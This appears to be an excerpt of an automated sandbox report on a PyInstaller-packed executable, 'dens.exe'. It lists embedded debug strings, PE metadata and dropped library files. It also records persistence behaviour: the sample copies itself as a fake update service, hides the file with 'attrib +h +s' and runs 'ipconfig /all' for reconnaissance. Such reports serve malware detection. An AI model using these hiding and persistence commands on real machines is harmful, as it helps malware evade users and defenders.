Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665639486.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665022014.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665234767.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664117143.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665921025.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666599668.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664318244.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665572074.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.0.dr
Source:	Binary string: ossl_ec_GFp_simple_group_set_curvecrypto\ec\ecp_smpl.cossl_ec_GFp_simple_group_check_discriminantossl_ec_GFp_simple_point_set_affine_coordinatesossl_ec_GFp_simple_point_get_affine_coordinatesossl_ec_GFp_simple_make_affineossl_ec_GFp_simple_points_make_affineossl_ec_GFp_simple_field_invossl_ec_GFp_simple_blind_coordinatescrypto\buffer\buffer.cBUF_MEM_growBUF_MEM_grow_cleancompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specific.dllCPUINFO: crypto\initthread.cOPENSSL_ia32cap` source: dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: dens.exe, 00000000.00000003.1665506325.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665022014.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_overlapped.pdb source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: dens.exe, 00000000.00000003.1661110438.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: dens.exe, 00000000.00000003.1664590602.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.0.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665368820.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666519024.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: dens.exe, 00000000.00000003.1665157382.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.0.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1663980456.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664523044.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdbGCTL source: dens.exe, 00000000.00000003.1664590602.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.0.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664725190.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr
Source:	Binary string: k1k2k3X9_62_PENTANOMIALp.otherp.onBasisp.tpBasisp.ppBasismX9_62_CHARACTERISTIC_TWOp.primep.char_twofieldTypeX9_62_FIELDIDX9_62_CURVEfieldIDcurvebaseECPARAMETERSvalue.named_curvevalue.parametersvalue.implicitlyCAECPKPARAMETERSprivateKeyparameterspublicKeyEC_PRIVATEKEYec_asn1_group2fieldidcrypto\ec\ec_asn1.cec_asn1_group2curveEC_GROUP_get_ecparametersEC_GROUP_get_ecpkparametersEC_GROUP_new_from_ecparametersEC_GROUP_new_from_ecpkparametersi2d_ECPKParametersd2i_ECPrivateKeyi2d_ECPrivateKeyi2d_ECParametersd2i_ECParameterso2i_ECPublicKeyi2o_ECPublicKeycompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"3.3.2built on: Tue Sep 3 19:22:24 2024 UTCplatform: VC-WIN64AOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availablecrypto\init.cOPENSSL_init_cryptocrypto\bio\bio_lib.cBIO_new_exbio_read_internbio_write_internBIO_sendmmsgBIO_recvmmsgBIO_putsBIO_getsBIO_get_line BIO_ctrlBIO_callback_ctrlBIO_find_type source: dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665300726.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1663850239.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666268915.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666675608.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_uuid.pdb source: dens.exe, 00000000.00000003.1663289848.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, _uuid.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb source: dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, _wmi.pyd.0.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664454967.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665435710.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665300726.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb''&GCTL source: dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, _wmi.pyd.0.dr
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\mugnbzbx\mugnbzbx.pdb source: powershell.exe, 00000052.00000002.1892866312.00000217AE943000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666061436.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666519024.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666130356.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664659823.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666432610.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: dens.exe, 00000000.00000003.1661110438.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665708925.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665435710.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664385796.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666196697.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664318244.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665091592.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664047310.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\mugnbzbx\mugnbzbx.pdbhP" source: powershell.exe, 00000052.00000002.1892866312.00000217AE943000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664117143.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: dens.exe, 00000000.00000003.1661560840.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdbGCTL source: dens.exe, 00000000.00000003.1665506325.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666268915.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665849743.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665708925.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1663915027.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664047310.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: dens.exe, 00000000.00000003.1662940240.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdb source: dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665849743.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666432610.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: dens.exe, 00000000.00000003.1661475799.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: dens.exe, 00000000.00000003.1691479731.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665234767.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdbGCTL source: dens.exe, 00000000.00000003.1664185093.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.0.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: dens.exe, 00000000.00000003.1663915027.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665779625.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: dens.exe, 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666196697.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664454967.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666130356.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666675608.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665639486.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665368820.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: dens.exe, 00000000.00000003.1664254134.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664523044.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: dens.exe, 00000000.00000003.1662872002.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664725190.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666353635.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdbGCTL source: dens.exe, 00000000.00000003.1665157382.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: dens.exe, 00000000.00000003.1673118322.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057481054.000002D9AA8E0000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665779625.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.0.dr

Source: dens.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: dens.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: dens.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: dens.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: dens.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: VCRUNTIME140_1.dll.0.dr

Static PE information: 0xFB76EAA0 [Mon Sep 10 13:35:28 2103 UTC]

Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.0.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.0.dr	Static PE information: section name: .00cfg
Source: python312.dll.0.dr	Static PE information: section name: PyRuntim

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 82_2_00007FFD9A286329 push ecx; ret

82_2_00007FFD9A28632C

Persistence and Installation Behavior

Found pyInstaller with non standard icon

Source: C:\Users\user\Desktop\dens.exe

Process created: "C:\Users\user\Desktop\dens.exe"

Uses attrib.exe to hide files

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe"

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_brotli.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\yarl\_helpers_c.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_http_parser.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_cffi_backend.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\frozenlist\_frozenlist.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_websocket.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\yarl\_quoting_c.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
